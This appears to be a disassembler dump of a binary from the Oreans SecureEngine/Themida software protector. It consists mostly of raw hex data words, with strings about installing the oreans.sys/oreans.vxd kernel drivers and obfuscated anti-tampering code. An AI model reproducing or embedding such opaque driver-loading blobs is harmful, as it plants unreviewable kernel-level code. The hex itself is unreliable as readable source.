		dd 0FF07A825h, 0A81895B5h, 0E1BD8B07h, 8D07A805h, 0A83BDF85h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0EE2DBDDAh, 0D0FFAF79h, 8BD3BF0Fh
		dd 0A82CF1BDh, 6E99007h, 88000000h, 0BC056811h,	66575011h
		dd 905FF78Bh, 2A6D8D89h, 6A07A8h, 93DBD8Bh, 316807A8h
		dd 81F220D5h, 2B4F2404h, 6E90DDFh, 0F0000000h, 699AFA68h
		dd 66036A74h, 6830F781h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8AF986C3h, 66036AF5h
		dd 89BC70BFh, 0A82569BDh, 37176807h, 0D18B98A0h, 17243481h
		dd 0B958A037h, 5B7050A1h, 0B2309D8Dh, 6A07AAh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 22CFB0C3h, 21EC921Ah, 49B58B22h, 8907A824h, 0A8171995h
		dd 72B29307h, 93F88B50h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0B0C35141h, 4750A477h, 7C0383D9h, 18D29EFh
		dd 0FF07A822h, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8B6660CEh, 850F40FEh
		dd 2DFh, 0E9E68166h, 0F28B58D7h, 1C8B0F50h, 0E8000000h
		dd 14h,	0D585E093h, 9007B027h, 82846DE8h, 0F0735A8Ch, 4A200C3Ah
		dd 895FC1B1h, 8E92404h,	0E6000000h, 18FCA532h, 6A083D09h
		dd 810FF900h, 6, 2459958Bh, 996807A8h, 6621134Fh, 81CA48BAh
		dd 4F192434h, 9E82113h,	1F000000h, 5601845Ah, 7F269DD8h
		dd 14E850h, 6CD80000h, 182F78D5h, 513ABFC2h, 0F7762293h
		dd 35B2C86Bh, 595A4460h, 6A036A5Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4CAFC356h
		dd 0F4A5B966h, 9D89006Ah, 7A82135h, 9D09036Ah, 7A829F1h
		dd 1F512168h, 2850F92h,	0B6000000h, 2434810Dh, 521F5121h
		dd 1BB1958Bh, 9D8D07A8h, 7AAB239h, 1D619501h, 0E89307A8h
		dd 0Ah,	5AE2E95Eh, 0AE8DC6E9h, 14E91E82h, 0B4000000h, 14320F66h
		dd 28764B5h, 22C8FB6Fh,	0EA2E528Dh, 5A5B9946h, 66525050h
		dd 310FF78Bh, 9F55BA66h, 6693585Ah, 0FF9B7AB9h,	0DE8D0h
		dd 32540000h, 0D222D73Bh, 38A3E56Bh, 0B2E0C462h, 0CE95A4Fh
		dd 0B5000000h, 0B31A0DE5h, 6832FB29h, 40D29D2Ch, 195850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0B099EC3h, 94940911h, 236D9589h, 58FC07A8h
		dd 0E925E180h, 11h, 68CEFFCEh, 0AAF23B8h, 0F7F42D93h, 0F5D10209h
		dd 8E89087h, 1D000000h,	4B94C68Eh, 5F779D1Bh, 3810F50h
		dd 66000000h, 8990CF8Bh, 0A8258D85h, 0CB8B6007h, 2251958Bh
		dd 6A6107A8h, 28A0F00h,	0B2000000h, 0AD6A6876h,	0C5B9431Ah
		dd 816F9F58h, 0ADEA2434h, 8F0F431Ah, 6,	0B11BD8Bh, 36A07A8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 63C35141h
		dd 36B7DAEBh, 0D781660Ah, 6AC269h, 36AD8B1h, 9D39CE81h
		dd 0B5037735h, 7A80601h, 21DEEA68h, 5830FBDh, 0BA000000h
		dd 798B2F75h, 16240481h, 0F02DE21h, 686h, 198D8B00h, 3307A81Dh
		dd 0A82E31B5h, 449D8D07h, 6A07AAB2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C2A0C356h
		dd 0E84C4677h, 12h, 0B8E4F603h,	5596AF9Fh, 0BF2E61D9h
		dd 0CA07AA76h, 0BD89E2A1h, 7A82D6Dh, 1C89505Fh,	6AD0FF24h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0C77BC357h, 0F48D0408h, 898DAC97h, 0A82761BDh
		dd 850F4007h, 23h, 32619523h, 0E95807A8h, 0Ch, 13A5F3CFh
		dd 81E405E0h, 0AF3477C0h, 0CFE9h, 1858900h, 8B07A82Bh
		dd 45B58BD8h, 4B07A80Eh, 28E0Fh, 0D48A0000h, 0CE816658h
		dd 85C6D68Bh, 7A80619h,	53006A43h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 7D4FAF4Eh, 8B661657h
		dd 0F79868F3h, 5250ED55h, 7E860h, 86450000h, 9BB535C9h
		dd 0FBBE5B85h, 613F0A2Ch, 6E9310Fh, 0B0000000h,	1792E761h
		dd 81585A7Dh, 0BD3F2434h, 0EA802D23h, 95B5FFD8h, 5307A818h
		dd 3ADE45BEh, 858D5E33h, 7A83BDFh, 11DE8166h, 50D0FF3Eh
		dd 1C89CB8Bh, 0DE924h, 76870000h, 0BA222F42h, 9BC6CF94h
		dd 0FFFC2FBCh, 8D7EB2D0h, 0A871FB9Dh, 21B58907h, 0B807A833h
		dd 1, 9F53BF66h, 958BE3FFh, 7A819C1h, 8D33C18Bh, 7A830A1h
		dd 0DFDF8166h, 6AC08BCBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 1FB5C357h, 7D9C65F5h
		dd 0D769A3BFh, 0F9BD836Dh, 7A827h, 0BD830975h, 7A80605h
		dd 50197400h, 0B8C08B53h, 40Fh,	0ECD8589h, 9D8D07A8h, 7AAB08Ah
		dd 585BD3FFh, 605BD83h,	740007A8h, 0B8535017h, 40Fh, 0ECD8589h
		dd 9D8D07A8h, 7AAAD2Bh,	585BD3FFh, 53DA8166h, 83CA8069h
		dd 0EE9C08Bh, 33000002h, 6E6E6143h, 7720746Fh, 65746972h
		dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h
		dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h
		dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h
		dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	7A80619h, 5B866847h, 0B5FFE3E4h
		dd 7A81895h, 3BDF858Dh,	0D0FF07A8h, 10468h, 259D8D00h
		dd 5307A82Bh, 8D50D0FFh, 0AABA8EB5h, 32FE8B07h,	850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0A8061985h
		dd 0FC684307h, 0FFBC8E6Eh, 0A81895B5h, 0DF858D07h, 0FF07A83Bh
		dd 25B58DD0h, 6A07A82Bh, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 7A80619h, 0EE566857h,	0B5FFA69Bh
		dd 7A81895h, 3BDF858Dh,	0D0FF07A8h, 439BD8Dh, 8D8D07A8h
		dd 7AABBB4h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0B896B58Dh, 858D07AAh, 7AAA9F4h, 8D8DD0FFh, 7A871FBh
		dd 0B8h, 0C6E1FF00h, 0A8061985h, 0A7684307h, 0FFC0764Ah
		dd 0A81895B5h, 0DF858D07h, 0FF07A83Bh, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_44B1A4+9A5Ch
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 73Eh	dup(0)
dword_5AFD68	dd 285h	dup(0)			dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 99E900h, 622F0000h
		dd 68636775h, 326B6365h, 75622F00h, 65686367h, 2F006B63h
		dd 63726F66h, 6E757265h, 75622F00h, 65686367h, 75666B63h
		dd 2F006C6Ch, 776F6873h, 65646F63h, 68732F00h, 6F63776Fh
		dd 326564h, 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 0AAF409BDh, 840F0007h, 0Ah, 60585C7h, 107A8h
		dd 85C60000h, 7A80619h,	61AA6847h, 4814E0Eh, 5F0AE324h
		dd 95B5FF42h, 8D07A818h, 0A83BDF85h, 0FFD0FF07h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1B840F00h
		dd 47000003h, 0F003F80h, 31184h, 1EE900h, 3F800000h, 3840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2E0E900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C3E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B4E9FFh, 0B58D0000h, 7AAF389h, 225E8h
		dd 1EBD0300h, 8307AAF4h, 0AAF41EBDh, 840F0007h,	0Bh, 27F985C7h
		dd 107A8h, 8DC30000h, 0AAF394B5h, 1FCE807h, 0BD030000h
		dd 7AAF41Eh, 0F41EBD83h, 0F0007AAh, 0B84h, 585C700h, 107A806h
		dd 0C3000000h, 0F40DB58Dh, 0D3E807AAh, 3000001h, 0AAF41EBDh
		dd 1EBD8307h, 7AAF4h, 0B840Fh, 85C70000h, 7A833CDh, 1
		dd 9EB58DC3h, 0E807AAF3h, 1AAh,	0F41EBD03h, 0BD8307AAh
		dd 7AAF41Eh, 0B840F00h,	0C7000000h, 0A8060585h,	107h, 0B58DC300h
		dd 7AAF3A8h, 181E8h, 1EBD0300h,	8307AAF4h, 0AAF41EBDh
		dd 840F0007h, 15h, 60585C7h, 107A8h, 85C70000h,	7A827F9h
		dd 1, 0B6B58DC3h, 0E807AAF3h, 14Eh, 0F41EBD03h,	0BD8307AAh
		dd 7AAF41Eh, 0A840F00h,	0C7000000h, 0A8297585h,	107h, 0C0B58D00h
		dd 0E807AAF3h, 126h, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
		dd 0A840F00h, 0C7000000h, 0A8297585h, 107h, 0CBB58D00h
		dd 0E807AAF3h, 0FEh, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
		dd 0A840F00h, 0C7000000h, 0A80E8985h, 107h, 0D1B58D00h
		dd 0E807AAF3h, 0D6h, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
		dd 0A840F00h, 0C7000000h, 0A80EB985h, 107h, 0D7B58D00h
		dd 0E807AAF3h, 0AEh, 0F41EBD03h, 0BD8307AAh, 7AAF41Eh
		dd 0A840F00h, 0C7000000h, 0A82ABD85h, 107h, 0E5B58D00h
		dd 0E807AAF3h, 86h, 0F41EBD03h,	0BD8307AAh, 7AAF41Eh, 0A840F00h
		dd 0C7000000h, 0A82CAD85h, 107h, 0F2B58D00h, 0E807AAF3h
		dd 5Eh,	0F41EBD03h, 0BD8307AAh,	7AAF41Eh, 0A840F00h, 0C7000000h
		dd 0A8221D85h, 107h, 0FDB58D00h, 0E807AAF3h, 36h, 0F41EBD03h
		dd 0BD8307AAh, 7AAF41Eh, 0A840F00h, 0C7000000h,	0A810B185h
		dd 107h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 1CE9DE8Bh, 80000000h,	850F003Fh, 5, 0B9h
		dd 38178A00h, 2840F16h,	2B000000h, 804746C9h, 840F003Eh
		dd 8, 850FC90Bh, 0FFFFFFD3h, 840FC90Bh,	21h, 0F003F80h
		dd 984h, 203F8000h, 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h
		dd 0FC90B00h, 0D84h, 89F32B00h,	0AAF41EB5h, 0AE907h, 85C70000h
		dd 7AAF41Eh, 0
		dd 0B8C361h, 0B000000h,	0A840FC0h, 0C7000000h, 0A8297585h
		dd 7, 0E8C88B00h, 6, 0F084EBD5h, 0C9BA32A5h, 5E2E25E3h
		dd 9E8h, 0D04FCC00h, 0D6D084CBh, 8589B928h, 7A80BB5h, 0C7C68158h
		dd 29000064h, 0A82791B5h, 624BF07h, 0C7810CC0h,	0F34012E6h
		dd 8B36FFFCh, 0A815799Dh, 0D6805907h, 26C181E3h, 0F038414h
		dd 684h, 0A98D8900h, 8107A826h,	9B8E65E9h, 0BD895355h
		dd 7A81A11h, 4FF1815Ah,	2347A907h, 0A8236D9Dh, 0E90E8907h
		dd 0Ah,	0F2AC26B8h, 58317D19h, 0EE83F0BFh, 0C2B70F01h
		dd 8B4E4E4Eh, 0A831659Dh, 850F4F07h, 0FFFFFFA1h, 0CA8B6660h
		dd 6C57E781h, 0E9617CD4h, 10B7h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpriv	db 'SeShutdownPrivilege',0
		align 8
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseserviceha	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		dd 0
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 72655300h,	65636976h
		dd 63615020h, 32206Bh, 1Dh dup(0)
		dd 666F5300h, 72617774h, 69575C65h, 8B00656Eh, 698589C4h
		dd 8B07A80Ch, 0A81BD1BDh, 89C08B07h, 0A81709BDh, 0F9BD8307h
		dd 7A827h, 0BD830975h, 7A80605h, 50197400h, 0B8C08B53h
		dd 43Dh, 25858589h, 9D8D07A8h, 7AAB023h, 585BD3FFh, 605BD83h
		dd 740007A8h, 0B8535017h, 43Dh,	25858589h, 9D8D07A8h, 7AAAD12h
		dd 585BD3FFh, 4BCF8166h, 0C08BFC07h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0DEC35040h,	0E9A5CB8Fh, 14h
		dd 9A16C87Fh, 332F59DDh, 9F4EF5Eh, 0D245C6F1h, 18DC3984h
		dd 9DBAC08Bh, 83284A67h, 0A827F9BDh, 9750007h, 605BD83h
		dd 740007A8h, 8B535013h, 0B8C0h, 9D8D0000h, 7AAAEC5h, 585BD3FFh
		dd 605BD83h, 740007A8h,	0B8535011h, 0
		dd 0AD769D8Dh, 0D3FF07AAh, 870F585Bh, 6, 21998D33h, 8C0F07A8h
		dd 6, 1AB5958Bh, 0C08B07A8h, 23AD8D8Bh,	0C08B07A8h, 561B589h
		dd 0B70F07A8h, 0F9BD83FAh, 7A827h, 0BD830975h, 7A80605h
		dd 50137400h, 0B8C08B53h, 0
		dd 0ADF79D8Dh, 0D3FF07AAh, 0BD83585Bh, 7A80605h, 50117400h
		dd 0B853h, 9D8D0000h, 7AAAD44h,	585BD3FFh, 33918589h, 950B07A8h
		dd 7A82415h, 0E953C08Bh, 10h, 8E149D26h, 24B5D41Fh, 0BF90142Fh
		dd 55B60BF8h, 60C08B5Ah, 0D029F681h, 0B58953E2h, 7A80B85h
		dd 0CE861h, 9C1E0000h, 8A10620Ch, 0B563B7ADh, 958981D9h
		dd 7A82761h, 0F9BD835Ah, 7A827h, 0BD830975h, 7A80605h
		dd 50137400h, 0B8C08B53h, 0
		dd 0AE5E9D8Dh, 0D3FF07AAh, 0BD83585Bh, 7A80605h, 50117400h
		dd 0B853h, 9D8D0000h, 7AAAD5Dh,	585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 71C35646h, 3BE85EC2h
		dd 0D7816655h, 0B70F17A7h, 66C08BFEh, 8B3470BFh, 0EDBD23C0h
		dd 8307A818h, 0A827F9BDh, 9750007h, 605BD83h, 740007A8h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 7AAAD90h, 585BD3FFh, 8B0EE280h
		dd 0A81DF98Dh, 0C1E28107h, 8B56A65Fh, 0A1BD8BC0h, 8B07A806h
		dd 0F9BD83C0h, 7A827h, 0BD830975h, 7A80605h, 50197400h
		dd 0B8C08B53h, 7D0h, 25858589h,	9D8D07A8h, 7AAB023h, 585BD3FFh
		dd 605BD83h, 740007A8h,	0B8535017h, 7D0h, 25858589h, 9D8D07A8h
		dd 7AAAD12h, 585BD3FFh,	10ADB589h, 880F07A8h, 3, 6AFA8B66h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 7BBEC350h, 2D8D0BFBh, 6607A82Ch, 0C08BD78Bh
		dd 85C6FA8Bh, 7A80619h,	2263B953h, 906874FDh, 8099395Fh
		dd 0B5FF60F2h, 7A81895h, 0F918D8Bh, 858D07A8h, 7A83BDFh
		dd 19830Fh, 14E90000h, 0A2000000h, 31E305A9h, 41BB85C6h
		dd 7A66F9C4h, 9379BA39h, 8B01AE8Ah, 0A81D79BDh,	6AD0FF07h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 7882C356h, 291C2A02h, 8B23A8BEh, 0A81E3DBDh
		dd 0D1BF0F07h, 1A998589h, 0BD8907A8h, 7A80DE5h,	61985C6h
		dd 0F5707A8h, 682h, 42DA8100h, 684492D2h, 90045206h, 1895B5FFh
		dd 9D2907A8h, 7A81BA5h,	3BDF858Dh, 820F07A8h, 15h, 0CE8h
		dd 9B83B100h, 5F8AAA5Bh, 8B925368h, 0C8BF0F51h,	6AD0FF5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 2234C352h, 9FF0BEC1h, 6D858957h, 8B07A824h
		dd 0A82C558Dh, 1985C607h, 4307A806h, 2C2EBF66h,	90702868h
		dd 95B5FFBCh, 0B107A818h, 0DF858D7Bh, 0B507A83Bh, 0E8D0FF3Ah
		dd 0Eh,	0C0C9CB43h, 15E4896Fh, 26AF6FB6h, 0BD03E0F9h, 7A80301h
		dd 585895Ah, 0C607A833h, 0A8061985h, 0BD894C07h, 7A81D85h
		dd 0DA1CE968h, 1D958BD9h, 0FF07A829h, 0A81895B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 189CEA1Ch, 9B5FF3A9h, 8DD68B66h, 0A83BDF85h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 58D0FB4h, 0B9000000h, 425BF5D2h, 0D18BD0FFh,	18B58589h
		dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 62B61EC3h, 1B229662h, 13E86Ah, 417F0000h
		dd 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh,	0D3BF0F93h
		dd 59BD2959h, 0C607A80Bh, 0A8061985h, 6A4607h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BF53EC3h, 61468F9h,	0BD8BBADEh, 7A82649h, 1895B5FFh
		dd 0B86007A8h, 35C84582h, 858D61FCh, 7A83BDFh, 13E9h, 0A192C100h
		dd 1CC58E9Ah, 9E25CE92h, 0D9D7D840h, 75968FF3h,	6AD0FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0FBE029C3h, 0DD61067Bh, 8995F680h, 0A81D4185h, 1985C607h
		dd 4707A806h, 0AA9953BFh, 0B5E26872h, 12E98A0Fh, 58000000h
		dd 2925AB6Bh, 7775915h,	3C8EB3B1h, 94EB05E1h, 0FFFA8B1Eh
		dd 0A81895B5h, 0C58D8B07h, 0E907A830h, 0Fh, 531A2DD1h
		dd 413C6E04h, 8D0EF047h, 8DBE64E6h, 0A83BDF85h,	0EE807h
		dd 72E0000h, 0B7E8BA0Eh, 3E3EB4h, 0E1B352D0h, 68C0Fh, 85890000h
		dd 7A82FEDh, 0D5B5895Ah, 0FF07A814h, 52006AD0h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 92E231A7h
		dd 531402BFh, 61858921h, 6007A821h, 10D99D89h, 0B96607A8h
		dd 0C661C02Dh, 0A8061985h, 6A4707h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 97D943C3h
		dd 52111A3Bh, 1981958Bh, 685907A8h, 83D0B5F3h, 3311B531h
		dd 0B5FF07A8h, 7A81895h, 17D18D31h, 858D07A8h, 7A83BDFh
		dd 14F58D29h, 0D0FF07A8h, 0CE8h, 0D8B81700h, 1546BE1Fh
		dd 8E4C0FA0h, 0B55AF527h, 618589E2h, 0F07A81Ah,	0B8Fh
		dd 0B70F6000h, 9D8509DFh, 6107A824h, 61985C6h, 0E87707A8h
		dd 0Dh,	0B1042C81h, 0AF4F7192h,	5AF05386h, 6860FDFh, 81000000h
		dd 0A2B9A6CAh, 0A3685F0Bh, 6AF397A8h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C938C357h
		dd 8B50F6C7h, 0A8102D95h, 35B5FF07h, 0F07A81Eh,	858DCFBFh
		dd 7A83BDFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	51C35646h, 83F072E2h, 3C9EB48h,	0A80ED595h, 8BD0FF07h
		dd 0A8229995h, 41858907h, 6A07A82Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 90C4C351h
		dd 0DC43BC0Fh, 8901F18Ah, 0A833A99Dh, 1985C607h, 4707A806h
		dd 29DD958Bh, 0F66807A8h, 6A8728FAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5ECC351h
		dd 0A89B5208h, 66E7F0D6h, 0CC3CD281h, 1895B5FFh, 952B07A8h
		dd 7A80059h, 3BDF858Dh,	6A07A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E975F4C3h, 6, 53E05169h
		dd 8B66D2AAh, 0FD0FFD6h, 8951FEB7h, 0A80B458Dh,	85895A07h
		dd 7A8185Dh, 6A1B509h, 8F0F07A8h, 3, 0C6CB8B66h, 0A8061985h
		dd 0BF0F4307h, 6EFC68D6h, 74B5BC8Eh, 1895B5FFh,	858D07A8h
		dd 7A83BDFh, 349D8D89h,	0D0FF07A8h, 8589CB8Ah, 7A823F5h
		dd 0C6F88B66h, 0A8061985h, 0CE94507h, 0E5000000h, 92F890F7h
		dd 0A02DE7B2h, 687EAF37h, 8E726969h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 37C35343h, 0CE862h,	298C0000h
		dd 9F761A8Eh, 158139Dh,	8B601BA2h, 0A81CB9B5h, 5F61F907h
		dd 1895B5FFh, 858D07A8h, 7A83BDFh, 7A98D8Bh, 0D0FF07A8h
		dd 32E18D23h, 858907A8h, 7A80A3Dh, 830Fh, 85C60000h, 7A80619h
		dd 0B70F5044h, 64685FC9h, 0B9B8F2ECh, 712A5AEDh, 1895B5FFh
		dd 8D8B07A8h, 7A82359h,	3BDF858Dh, 6A07A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 39AA88C3h
		dd 0B9E47D0Ah, 465958Bh, 0D0FF07A8h, 15258589h,	6A07A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0A0B4D1C3h, 443BC974h, 0C6BD67A9h, 0A8061985h, 0E1814307h
		dd 4AAA7FDFh, 34BDB529h, 0A76807A8h, 0FC0764Ah,	488h, 72BF6600h
		dd 95B5FFE2h, 6607A818h, 1910C981h, 3BDF858Dh, 0E78107A8h
		dd 5B0F537Ch, 2BAD0FFh,	8939DA54h, 0A80B3985h, 75852907h
		dd 8007A82Ch, 0AB0449BDh, 840F0007h, 108h, 1CADBD31h, 858D07A8h
		dd 7AB042Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	96C35646h, 9E592AC1h, 0AE58CAACh, 0C5BD8B67h, 5007A817h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 0A4C35242h, 16346E4h, 0A8269DB5h, 8B016A07h,	0A83229BDh
		dd 6A006A07h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FD8C350h, 68Ah, 8BC98100h, 5114D9CBh
		dd 6A006A5Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
